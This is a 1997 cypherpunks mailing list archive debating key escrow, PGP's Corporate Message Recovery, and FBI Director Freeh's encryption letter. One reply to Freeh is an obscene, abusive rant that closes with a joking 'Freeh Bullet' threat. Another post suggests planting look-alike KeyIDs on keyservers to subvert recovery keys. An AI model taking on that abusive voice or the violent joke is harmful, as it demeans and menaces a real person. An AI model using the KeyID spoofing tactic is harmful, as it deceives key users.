	encrypted. In effect, each cipher block has two IV's. The
	first block, which lacks any cipher text from previous blocks
	to chain with, uses the block number XOR-ed with its master
	block IV entry.

	The rational behind this is that we have the benefits of CBC's
	error-recovering abilities without it's major drawback (and it
	is certainly not alone here among major block cipher
	modes) - that is, find the key for (cipher) block 0 and the
	attacker can successfully decrypt every other block that (CBC
	wise) follows it.

Comments?

--
Prof. Julian Assange  |If you want to build a ship, don't drum up people
                      |together to collect wood and don't assign them tasks
proff@iq.org          |and work, but rather teach them to long for the endless
proff@gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roger Schlafly <schlafly@mail.cruzio.com>
Date: Sat, 18 Oct 1997 04:02:04 +0800
To: cypherpunks@Algebra.COM
Subject: Freeh letter to NYT
Message-ID: <3.0.1.32.19971017124121.0069d8d0@mail.cruzio.com>
MIME-Version: 1.0
Content-Type: text/plain



[From www.nytimes.com, Oct. 16, 1997]

To the Editor:

"An Attack on Privacy Rights"
(editorial, Oct. 3)
argues that the approach to encryption that the law enforcement
community is advocating has somehow "put the need to eavesdrop
on criminals above the privacy rights of ordinary Americans."
Nothing could be further from the truth.

You fail to mention that the same court-ordered, judicially
approved procedures that now apply to wiretaps and electronic
data searches would also apply to our ability to obtain
decryption keys or information.

In fact, what we proposed requires two orders from a judge
before we proceed, not just one as now required.

There is another issue that, if unaddressed, will have public
safety ramifications. Encryption that cannot be deciphered
regardless of the number of court orders or new technologies
obtained by the police will devastate our ability to fight crime
and prevent terrorism. It will nullify the ability to carry out
court-authorized searches and seizures of criminal communication
and electronic evidence.

Policy decisions about encryption should not be left solely to
market forces. Congress, the computer industry and law
enforcement can work together to craft legislation that
balances the public safety with the commercial and private needs
of law-abiding Americans. We are not wedded to any particular
solution, but feel that some workable solution can be found to
insure that law enforcement can gain immediate access to the
plaintext of encrypted criminal communication or electronic data
that we have lawfully seized.

LOUIS J. FREEH
Dir., Federal Bureau of Investigation
Washington, Oct. 10, 1997

----------------------------------------------------------------

How can he say this with a straight face?

>In fact, what we proposed requires two orders from a judge
>before we proceed, not just one as now required.

The DOJ proposal, sect 302, says:

  (A)  A Key Recovery Agent, whether or not registered by the Secretary 
  under this Act, shall disclose recovery information stored by a person:
     (1)  ...; or
     (2)  to a law enforcement or national security government agency
     upon receipt of written authorization in a form to be specified by
     the Attorney General.

It also contradicts his final sentence:

>... some workable solution can be found to insure that law enforcement can
>gain immediate access to the plaintext of encrypted criminal communication
>or electronic data that we have lawfully seized.

The term "immediate access" means without having to goto a judge.

Roger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 17 Oct 1997 23:51:34 +0800
To: Bill Stewart <simons@VNET.IBM.COM>
Subject: Re: FCPUNX:PGP Key Escrow and Congress
In-Reply-To: <3.0.3.32.19971015195247.006f448c@popd.ix.netcom.com>
Message-ID: <19971017.153129.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



on or about 971015:1952 
    Bill Stewart <stewarts@ix.netcom.com> was purported to have 
    expostulated to perpetuate an opinion:

#Multiple small points of failure mean that it's less likely
#that the official who wants to rip off information has access
#to the set of information he wants to rip off.  You could argue
#that there would be more officials with access, but probably not, since a big
#pile of information is something that attracts officials far faster than
#little boring piles.

    TRUER WORDS WERE NEVER SPOKEN!

        attila


 "attila" sig: 1024/C20B6905/23D0 FA7F 6A8F 6066 BCAF AE56 98C0 D7B0 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 17 Oct 1997 23:13:11 +0800
To: cypherpunks@toad.com
Subject: Non-conventional
Message-ID: <199710171449.QAA09086@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May implied that Cpunx should develop non-conventional email.
Crypto has been declared to be munitions.
Nukes are non-conventional weapons.
Should we be developing nuclear email?
Should we 'email-nuke DC?"

Prespiring minds want to know...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Sat, 18 Oct 1997 08:07:57 +0800
To: Adam Back <ietf-open-pgp@imc.org
Subject: Re: what is purpose of CMR?
In-Reply-To: <199710172354.AAA03957@server.test.net>
Message-ID: <3.0.3.32.19971017165408.00be6900@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:54 AM 10/18/97 +0100, Adam Back wrote:
   
   This is a question which I am unclear on about PGP Inc's design goals
   in using the CMR method.
   
     Is the CMR field to allow the company to recover from the user
     forgetting his password?  (recover his mail folder full of encrypted
     email).
   
   or
   
     Is the CMR field to allow the company to read the email in transit
   
   This seems like a fairly important distinction.

It's not for surveillance. It's for recovering from disaster. I think it
would be a good thing to send a PGP message over an encrypted link (TLS or
other).

	Jon



-----
Jon Callas                                  jon@pgp.com
Chief Scientist                             555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                   Suite 570
(415) 596-1960                              Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 18 Oct 1997 01:50:19 +0800
To: stewarts@ix.netcom.com
Subject: Re: what can we do about PGP sell out and CMR?
In-Reply-To: <3.0.3.32.19971016084223.006c0bf0@popd.ix.netcom.com>
Message-ID: <199710171706.SAA00972@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Stewart <stewarts@ix.netcom.com> writes:
> At 11:29 PM 10/15/1997 +0100, Adam Back wrote:
> >From Bill Stewart's report, given the apparent amount of effort PGP
> >have put into their CMR based enforcement policy functionality, I
> >predict they won't remove CMR whatever we, or Schneier, or anyone else
> >says or proves about more secure less GAK-friendly ways of
> 
> They've got customers who wanted it; 

Whoa there Bill.  They have customers who wanted data recovery.  Data
recovery does not require CMR.

Did they admit to customers who wanted human based email screening?
No on list discussions have suggested this is the case.  I think I saw
one PGP employee state that it was not the case.

(I have perfectly good, more secure CDR based human screening designs,
not that I encourage this you understand).

> there's some room for making it less controllable within their
> current framework (e.g. making the behaviour for (as-yet unused)
> multiple CMRKs to be session-key-splitting rather than
> one-copy-per-CMRK, which is be the more obvious implementation and
> is far more GAK-friendly.)

Small difference I think.

> Also, the SMTP filter stuff won't go away - even if PGP Inc
> dropped the product and dropped the CMRK from PGP 5.5.1 and
> all future versions, once there's an API for PGP,
> it's a piece of cake to write one; 

Nothing against SMTP filters, just against the CMR enforcement they
put into theirs.

> you just don't get the visibility that some keys are CMRKers, 
> and you've got the inconvenience of sending more bouncegrams to 
> senders telling them "to send a copy of PGP-encrypted mail to Bob,
> you need to also encrypt it to Eve The PostMistress" or, 
> less honestly, "... to the Exchange Gateway".
> And at least the PGP SMTP filter only checks for the KeyID and
> doesn't actually try to deccrypt the message.

You're using "you can hack around it" and "it is visible" arguments,
these are valid arguments which mitigate the danger, but don't
actually alter Tim and my points that storage recovery is less of a
problem than message recovery.

> >I also suspect they won't 
> >listen to Tim's earlier argument that they do nothing about recovery
> 
> I thought Tim's point was directed to OpenPGP; 

He made the same point in both respects.  I agree with his point about
openPGP.

I fully agree with Tim's points and Bill Frantz's example that old
email messages come back to haunt people and are a nightmare waiting
for a discovery process in a messy lawsuit for companies.  I nearly
got sucked into such a thing myself last year (some one gave back a
laptop to a company they just quit on bad terms from, tried to wipe it
but left some messages on it; the messages looked _bad_, the idiot who
did that sent the _bad_ message to me, my response was to phone him up
and say `what _are_ you talking about, I can't do that'.).

This to me argues that PGP Inc should make email archives user
controllable.  So that users decide which emails to archive and which
to just let naturally disappear, in the same way that phone calls, or
chats in a restaurant aren't transcibed and digitally signed.  Much
harder to prove.  I would also argue for "official statement" vs "chit
chat" distinction on emails -- don't archive, and certainly don't have
recovery of chit chat, use non-transferable sigs for chit chat, the
only person who cares about authenticity is the recipient, not the
legal system.  So I think this aspect belongs in coding in ways which
are beneficial to companies.

> Jon Callas and others
> said things like ~~If you've got features you want done, 
> propose it to OpenPGP and get them to adopt it, and that'll
> give us a business reason that we ought to adopt it.~~
> (I think the context of that was discussing Stealth, which they
> still don't have enough business demand for to take time on,
> and which by the way puts a major crimp in SMTP filters.)

I guess the smtp filters leave stuff alone if they can't figure out
who it's to?  ie do default email thang -- which is probably what you
want if it's some privacy nut who is sending a "chit chat" class
message to one of your set of sales people.  don't do the explode to
all feature.

> >This quote should give us clue as to why they will continue with CMR: 
> >	"we're a real company with accountants"
> 
> That wasn't an exact quote, just a paraphrase from my memory of 
> several conversations.  

Sure.  It's also completely understandable that they do have financial
restrictions, my main argument was that they could build more GAK
resistant systems within those restrictions.

> >Similar arguments would presumably present them with "no choice" but
> >to fulfill the order for 100,000 GAK compliant units from the
> >government terrorizing the freedom fighters PRZ likes to tell us
> >about who are already using PGP GAK compliant software: pgp5.0.
> 
> Even if they did that, it wouldn't change the power relationships;
> if the government can compel GAK keys by filtering SMTP or
> confiscating non-eavesdropping-compatible mail gateways,
> it doesn't matter if the Cc: Big Brother was added as a PGP5.5 CMRK
> or as a PGP2.6.2i multiple recipient - you can't tell from
> the message format (except for DH vs. RSA).

Yes, but you are in the US.  The recipient is in tinpotdictatorsville.
With pgp5.0 your software will by default honour the military police's
demand in tinpotdictatorsville.

This is why I am arguing that the system as a whole be considered --
you are trying to build GAK resistance into the deployed code base you
have to think long term and you have to think in terms of sabotaging
the system to make it unuseful to governments.

Consider also that software gets used in it's default configuration
95% of the time.  Not everyone is a information architect :-)

> >What can we do about this situation?  Well we could build systems
> >which hack around the CMR system.  Easy enough: just put dud
> >"recovery" info inside.  We still have deployment problems.
> 
> Unless I misunderstood the formats, 
> CMRKs are just identified by KeyID, not by fingerprint,
> and it's easy to look through the public keyservers to find CMRKs
> (though companies may prefer to have their employees mail out
> keys to people who need them rather than making all their
> keys constantly visible on the outside servers.)
> So go find them all, send protest email to the postmasters
> and corporate officials at the companies that use CMRKs,
> crank up your deadbeef generator to make your own keys
> with the same KeyIDs as the CMRKs, and pre-load the public keyservers.
> A nice touch would be to burn your copies of the private keys
> for the CMRK imitators, but we'll never know if you did, will we?

OK, well that's some monkeywrenching, but I guess that could be
prevented with some design reviews.  I won't be helping with those
design reviews -- any company who wants to improve enforcement of CMR
type designs can figure them out for themselves.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 18 Oct 1997 15:59:05 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: OUBAKAYAROU!!
In-Reply-To: <19971017080829.27590.qmail@hotmail.com>
Message-ID: <3.0.3.32.19971017182539.006ad1e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:08 AM 10/17/1997 PDT, Nobuki Nakatuji wrote:
>>Tim May (tcmay@got.net)
>>Wed, 15 Oct 1997 22:11:09 -0700 
>>At 9:18 PM -0700 10/15/97, Nobuki Nakatuji wrote:
>>Where are another cypherpunk mailinglist ?
>>
>>Am another cypherpunks mailinglist at cyperpunk@dev.null.
>>You go there, chop chop.
>>You not talk about Misty here anymore, OK? We am tired hering about 
>>Misty and your fees.
>>
>>--Tim-san

Tim, was that you writing, or was that TotoMonger forging you again?
I agree that there are problems with Misty, but it's
no more annoying than some of the other flaming on the list,
and certainly less so that Dmitri Vulis and his tentacles.

Meanwhile, there is a cypherpunks-j@htp.org, in Japanese,
and there's probably still a cypherpunks-e@htp.org in English, 
though the last time I checked it, it had been 
mostly a mirror for the cypherpunks list with almost no independent content,
and its mail gateway broke badly and splattered all over its subscribers.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 18 Oct 1997 01:46:57 +0800
To: stewarts@ix.netcom.com
Subject: Re: anti-GAK design principles: worked example #1
In-Reply-To: <3.0.3.32.19971017015110.006afc90@popd.ix.netcom.com>
Message-ID: <199710171727.SAA00990@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Stewart <stewarts@ix.netcom.com> writes:
> I'll duck the 5.5 argument for now, but you're 
> incorrect on 5.0.  The PGP 5.0 key format includes
> separate keys for signature and privacy, which is a mostly good thing,

A very good thing.

> and includes the ability to associate a group of
> keyIDs and flag bits with each privacy key.

So can you use pgp5.0 to construct a CMR key which would
interoperate with pgp5.5 for business?

> 	(or each set of privacy key + signature key??  Jon?)
> What semantics are attached to this association are dependent
> on the computer program, and PGP 5.0 does nothing CMRish with them,
> much less GAKish.  

Clearly pgp5.0 does nothing with these flags on reciept, but does it
understand them when sending?

Scenario: I work for Mega Corp, and it is using pgp5.5, and is using
CMR with companies key.

Does pgp5.0 reply encrypting to just me as individual, or two crypto
recipients me, and Mega Corp recovery key?

I would be interested on clarification of this point.

> OpenPGP could do anything it wants with the field,
> such as use it for keyids (or IPv4 addresses, since it's 32 bits)
> of keyservers with copies of the keys, or whatever.
> PGP 5.6 could at least take the case of multiple keyids
> and secret-share the session key between them rather than
> allowing any single key to access it.

Yes, I'm not so much arguing about the flexibility or the mechanism,
as what it is being used for.  I consider there are more secure and
more GAK resistant ways to acheive same functionality.

> >- store a copy of the private half of the users PGP encryption key
> >  encrypted to the company data recovery key on the users disk.
> No.  This is evil.  Don't go there.  Even with secret sharing,
> and especially without.

It is evil.  But it is not _as_ evil.

The reason for this is that government access to storage keys is not
as evil as government access to communications keys, because the
government has to come and capture the ciphertext (take your disk),
whereas with communications they can grab them via an arrangement with
your ISP.

> >- (optional) design the software to make it hard to copy the data
> >  recovery packet from the disk, hide the data, bury it in keyrings,
> >  stego encode it, whatever, use your imagination.  
> This is secutity by obscurity; not highly useful.

Indeed.  It is of only marginal use.

> >Possible objections:
> >objection #1. what if disk burns?
> >counter #1:   backup your disk
> >objection #2: users don't back up disks
> 
> Objection 3 - users _do_ back up disks -
> that means every backup tape or disk or server volume
> potentially contains your disk's encryption keys
> CAKked up with the Corporate Master Key, which is Bad,
> and wildly out of the user's control, violating
> one of your principles.

See point above.

This is not avoidable for storage ... if you are encrypting data on
disk, and if you want recovery information, you have no choice but to
allow company access.

The recovery information should be as decentralised as much as
possible.  (Perhaps this should be the Stewart corollary).

The point though is that storage recovery is a completely separable
issue from communications "recovery" which is a euphamism for allowing
companies to read, or snoop, employees email, unless it is being used
soley for data recovery of mail stored in mail folders (which seems to
be what PGP Inc means by CMR term), in which case it is not necessary
functionality, and can be better acheived by encrypting the mail
archive with a user symmetric key with company storage recovery on
that key.

I would be interested to hear novel ways to minimise the likelihood
that the government could walk into your offices, grab the CD duke
box, grab the single corporate recovery key and walk off.

Decentralisation is one good way -- recovery keys are in hands of
department and group heads -- secret splitting is another good way --
and (your suggestion) omitting some of recovery bits is a small
addtional hinderance to intruders after plaintext.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexlh@xs4all.nl
Date: Sat, 18 Oct 1997 01:28:29 +0800
To: jrb@autoweb.net
Subject: Re: (fwd) Import restrictions for crypto code
In-Reply-To: <199710171735.SAA01572@sarah.yc>
Message-ID: <Pine.SUN.3.93.971017183620.19201D-100000@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 17 Oct 1997, Alex Le Heux wrote:

[snip]

> ps. Lucky - what became of the "Brain"?

Brian didn't come back to the US with Lucky as he wanted to develop
strong crypto applications and did not want to have to contend with export
restrictions. He currently has a desk in the offices of a major Dutch ISP,
XS4ALL, so he is nice and close to the backbone and thus has great
connectivity.

Cheerio,

Alex

---
I dabble in techno-house and sometimes,
I do that badass hip-hop thang...
But the F U N K gets me every time!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 18 Oct 1997 03:00:24 +0800
To: tcmay@got.net
Subject: Re: what can we do about PGP sell out and CMR?
In-Reply-To: <v03102806b06d4169021d@[207.167.93.63]>
Message-ID: <199710171801.TAA01389@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> Yes, the thrust of my comments was about OpenPGP.
> 
> The OpenPGPers were fretting about how to incorporate GAK and CAK and GMR
> and CMR into their "open," and (presumably) international, standard, and I
> said:  Keep it Simple, Stupid.

To be clear: my efforts in CDR (data recovery) design alternatives, and GAK
resistant design principles are not because care one way or the other about
CDR going into the OpenPGP standard at this point, they were soley to
persuade PGP Inc that there are more GAK resistant ways to achieve same
functionality, which then negates need for CMR extensions.

The CDR proposal is about data recovery which means that it could be
argued to be outside the scope of OpenPGP; it is about how to
implement recovery within mail archives in a MUA, such as pgp5.x mail
client.

Also re. subject line, I now think that it is not a sell out, just a
design mistake; they have good intentions, and have not sold those
out, but have failed to optimally transfer those intentions into the
protocol design.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 18 Oct 1997 09:09:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ Down hard today... (fwd)
Message-ID: <199710180127.UAA00584@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Fri Oct 17 20:10:35 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199710180110.UAA00156@einstein.ssz.com>
Subject: SSZ Down hard today...
To: users@ssz.com (SSZ User Mail List)
Date: Fri, 17 Oct 1997 20:10:34 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 1389      


Hi Folks,

Not shure exactly why, doesn't seem to be related to the OS or hardware, but
you obviously are aware that SSZ had some serious problems this afternoon. I
suspect (wild guess at best) that it was power related in some way.

Anyway, I'll be watching it all weekend.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 18 Oct 1997 06:59:47 +0800
To: anon@anon.efga.org
Subject: Re: what can we do about PGP sell out and CMR?
In-Reply-To: <eca9fd16c885a0317a288f74def63dc8@anon.efga.org>
Message-ID: <199710172045.VAA02847@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> You've got a lot of nerve accusing PGP, Inc. of being "sellouts" when
> you're over on open-pgp pushing KEY ESCROW, of all things.  I can see it
> now, the new product name, "PGP with Key Escrow".  Motto: "Lose your key?
> Don't worry, we've got a copy."  Do you really think cypherpunks are
> going to support key escrow?  Fat chance.

I take your comments to be directed at my Corporate Data Recovery
(CDR) proposal which I presented as a more GAK resistant alternative
than PGP Inc's Corporate Message Recovery (CMR) proposal.

Data recovery is less dangerous than communications recovery.

Why?

Scenario #1 (comms recovery): government mandates everyone gives them
comms recovery key (CMR key).  Government can key word scan all your
messages in real time.  If you are non-technical and don't know to
hack around it you either comply or are caught out, and suffer penalty
for breaking law.

Scenario #2 (data recovery): government mandates everyone gives them
data recovery key (CDR key).  If government raids your offices or
home, they can recover your plaintext.  If they do not raid your home
they can not.  Raiding homes is expensive.  They can't raid all homes
because they do not have the money.  Also, they can't check whether
you are using GAK software -- until they raid you they won't know.
When they raid you you are likely in trouble anyway, so you may as
well not use GAK software if you figure you are likely to be raided.

Therefore GAK on data doesn't work as well, and doesn't as much affect
the balance of power between citizens and governments as GAK on
communications does.

Can you see flaws in this reasoning?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>
Date: Sat, 18 Oct 1997 12:59:49 +0800
To: Roger Schlafly <schlafly@mail.cruzio.com>
Subject: LJFLJF
In-Reply-To: <34482501.6789@sk.sympatico.ca>
Message-ID: <344835C2.534@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Lying Nazi Fuck Freeh wrote:
> Subject: Freeh letter to NYT
> [From www.nytimes.com, Oct. 16, 1997]
> 
> To the Editor:
> 
> "An Attack on Privacy Rights"
> (editorial, Oct. 3)
> argues that the approach to encryption that the law enforcement
> community is advocating has somehow "put the need to eavesdrop
> on criminals above the privacy rights of ordinary Americans."
> Nothing could be further from the truth.

  How about the fact that you are the director of an organization
that actively sought to sabatoge the civil rights movement by,
among other things, encouraging Martin Luther King to commit
suicide?
Is that close enough to the truth for you?

> You fail to mention that the same court-ordered, judicially
> approved procedures that now apply to wiretaps and electronic
> data searches would also apply to our ability to obtain
> decryption keys or information.

No they wouldn't you lying, scumbag, Nazi piece of shit.
You are *already* doing these things without *any* type of legal
authority to justify your criminal actions, and will continue
to do so? 

> Encryption that cannot be deciphered
> regardless of the number of court orders or new technologies
> obtained by the police will devastate our ability to fight crime
> and prevent terrorism.

Right. You can't find airplanes containing tons of drugs, you can't
keep drugs from being sold on the streets and in schoolyards, you
claim to have a list of all of these *known* pedophiles, but yet
they are all running free, even though you know about them.
This, despite all of the fascist, unconstitutional powers you have
stolen from the citizen's right to freedom and privacy.
Yet you have the fucking nerve to suggest that giving LEA's the
ability to monitor all of our private communications, at will,
is going to stop crime.

Buy a fucking clue, shit for brains.
All of the parts of the Constituion you have trampled underfoot,
claiming you needed this to fight drug dealers, has resulted in
the lowest street prices for heroin in decades.
I'll make you a deal. If you can get the street price of a gram
of cocaine up to $300.00 a gram, using your current fascist,
unconstitutional powers, I'll support you getting the rest of
the citizens' rights under your jackboots.

> It will nullify the ability to carry out
> court-authorized searches and seizures of criminal communication
> and electronic evidence.

  No. It will nullify the ability to carry out UN-authorized searches
and seizures of non-criminal communications.
 
> We are not wedded to any particular
> solution, but feel that some workable solution can be found to
> insure that law enforcement can gain immediate access to the
> plaintext of encrypted criminal communication or electronic data
> that we have lawfully seized.

Are the keys to the privacy of every living being on earth going to
be kept on the FBI computer system that was hacked, the CIA computer
system that was hacked, the DOJ computer system that was hacked...?

So that corporations know whether to support your plans for Government
Access to Korporate bungholes, would you please publicize a list of
*which* corporations you have defrauded and brought to financial ruin
by accessing and manipulating their financial data and assets because
you disagree with their actions?
How about a list of the corporations that you plan to do this to in the
future? Oh...never mind. I forgot that today's allies are tomorrow's
enemies, and vice-versa, so I guess that *any* corporation could be
a future target of government attack.

How do you brazen, Nazi cocksuckers find the audacity to announce to
God and everybody that you are fucking over people and nations around
the world by inserting bad mechanical parts into the supply system,
trashing the finances of individuals and companies around the world
that you have a hard-on for (today), that Swinestein has put the vote
on encryption issues that the citizens gave her, into *your* hands,
and then tell the citizens they can expect to be more 'secure' if they
give you dictatorial powers over all of their communications and data?

Who will be in control of access to the whole world's communications
and data?
Will it be the FBI guy who just went to jail for destroying evidence
and perverting justice?
Will it be the DOJ people who ruined the INSLAW corporation in order
to STEAL their software? Or the DOJ people who subverted justice by
defying our elected leaders in Congress during their investigation?

Tell us, Lying Jackoff Fuck Louis J. Freeh...
*Which* of the LEA officials who commit criminal acts and subvert
justice in the US will be in charge of access to the citizen's right
to privacy and freedom from fascist search and seizure.

Bonus Question:
"How many bodies does it take to spell, 'I *TOLD* you I was crazy!"
Bonus Prize:
1 Freeh Bullet

6ualdv8
~~~~~~~

> LOUIS J. FREEH
> Dir., Federal Bureau of Investigation
> Washington, Oct. 10, 1997
> 
> ----------------------------------------------------------------
> 
> How can he say this with a straight face?
> 
> >In fact, what we proposed requires two orders from a judge
> >before we proceed, not just one as now required.
> 
> The DOJ proposal, sect 302, says:
> 
>   (A)  A Key Recovery Agent, whether or not registered by the Secretary
>   under this Act, shall disclose recovery information stored by a person:
>      (1)  ...; or
>      (2)  to a law enforcement or national security government agency
>      upon receipt of written authorization in a form to be specified by
>      the Attorney General.
> 
> It also contradicts his final sentence:
> 
> >... some workable solution can be found to insure that law enforcement can
> >gain immediate access to the plaintext of encrypted criminal communication
> >or electronic data that we have lawfully seized.
> 
> The term "immediate access" means without having to goto a judge.
> 
> Roger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Andrew Wiggin" <anon_troll@hotmail.com>
Date: Sat, 18 Oct 1997 13:42:18 +0800
To: cypherpunks@toad.com
Subject: Been tried before?
Message-ID: <19971018052525.20913.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



I had an idea for a key system using graphics files. Has that been tried 
before? The basic idea was to use a graphics file with a color depth of 
24-bit or higher. Then, using the rgb values of, say, every prime pixel 
(i.e. the first pixel, then the second....then the seventh, then the 
eleventh) or something like that to create a stream of numbers the feed 
into the cipher which would be highly erratic. A similar looking picture 
would not work, as the rgb values would be (I assume) hard to guess, and 
even if you came close, you would have to get the right order. If you 
used a graphics file format similar to PNG, for instance, you could even 
include alpha channels.
    Am I just shooting my mouth off, or does this sound like something 
that would work? I'm wondering if this has been tried before and if it 
would be worth programming out.

--Drew

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 18 Oct 1997 11:42:08 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710180402.XAA01164@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner IBM Reinventing Education rule
   
           GOVERNORS WARN COLLECTING INTERNET TAXES WOULDN'T BE EASY
                                       
     Internet taxes October 17, 1997
     Web posted at: 11:12 p.m. EDT (0312 GMT)
     
     WASHINGTON (AP) -- The nation's governors and local officials,
     already having difficulty collecting taxes on catalog sales, said
     Friday a bill aimed at restricting new taxes on the Internet would
     worsen their problems.
     
     "It's very similar," Republican Gov. George V. Voinovich of Ohio
     said at a press briefing. "We've had an ongoing problem in terms of
     how to handle that. We've been continuing to try and work that out
     with those businesses in the states that have the large mail-order
     catalogs."
     
     The National Governors' Association estimates states lose $4 billion
     in sales taxes annually from catalog sales. That's because states,
     cities and counties generally lack the authority to capture sales
     taxes on such sales if the catalog business is headquartered out of
     state.
     
     That problem could only intensify based on the projected growth of
     electronic commerce. Voinovich cited one estimate of $1.5 trillion
     in sales on the Internet by 2002.
     
     "I don't think this is the time for the federal Congress to rush
     into something that will have such a huge impact on state and local
     government," he said.
     
     Joining Voinovich to oppose the Internet tax bill were leaders from
     the National Association of Counties, National League of Cities and
     U.S. Conference of Mayors.
     
     Rep. Chris Cox, a Republican from California, and Sen. Ron Wyden, an
     Oregon Democrat, have sponsored similar bills that would bar any new
     taxes on computer transactions -- such as taxes on Internet access
     or online services -- for an unspecified time while Congress studies
     the whole issue.
     
     The bill would make an exception to the moratorium for income earned
     through an Internet service; local business license taxes, if the
     Internet provider is located within the appropriate jurisdiction;
     and sales or use taxes, so long as they are the same as charged for
     mail or telephone orders.
     
     "We would love to have the bill say what the sponsors say it says,"
     said Brian J. O'Neill, a Philadelphia city councilman, representing
     the National League of Cities. But O'Neill and others say the
     technical language of the bill contains a broad pre-emption of state
     and local taxes.
     
     Wyden spokesman David Seldin strongly disagrees.
     
     "We have bent over backwards to clarify language of the bill so
     there can be no questions" that local governments retain authority
     to levy the same taxes on the Internet that are assessed on catalog
     sales, Seldin said. The bill seeks to halt new local taxes aimed
     specifically at Internet businesses.
     
     One National Governors' Association official said the bill's wording
     would worsen the states' problem of collecting sales taxes on
     catalog sales.
     
     "We know that we have to sit down with the industry and make the
     sales tax work on Main Street, on catalogs and on Internet, in some
     simplified, clear and technologically neutral way," said Tim Masanz
     of the association's economic development group.
     
     "If Congress goes on record and says that Internet sales are the
